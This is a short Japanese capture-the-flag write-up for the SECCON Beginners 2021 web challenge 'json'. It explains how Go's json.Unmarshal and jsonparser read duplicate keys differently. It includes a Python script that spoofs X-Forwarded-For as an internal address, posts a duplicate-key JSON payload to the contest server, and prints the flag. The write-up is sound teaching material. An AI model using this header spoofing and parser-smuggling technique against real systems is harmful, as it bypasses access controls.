[SECCON Beginners CTF 2021] json

WEB json
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/

問題

ソースコードが与えられています。
この問題の肝は多分Goライブラリでのjsonのパースの違いを利用します。
BFFサーバーではリクエストのペイロードのjsonをjson.Unmarshal(body, &info);で解釈しますが、
apiサーバーではjsonparser.GetInt(body, "id")で解釈します。

解法

両者のjsonの解釈の差を利用します。
bffサーバーだと{id: 2}って送ると拒否られるから、気づかれないようにapiサーバーに{id: 2}って解釈してもらえるようなjsonを送ろうということです。

jsonペイロード内に重複したキーが存在しているとどうなるかについて試したところ、以下のようなペイロードのときbffとapiでパース結果が変わるようなので、フラグを獲得できました。

import requests

headers = {
    'X-Forwarded-For': '192.168.111.1',
}

data = '{"id":2, "id": 1}'

response = requests.post('https://json.quals.beginners.seccon.jp/', headers=headers, data=data)
print(response.text)

flag

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck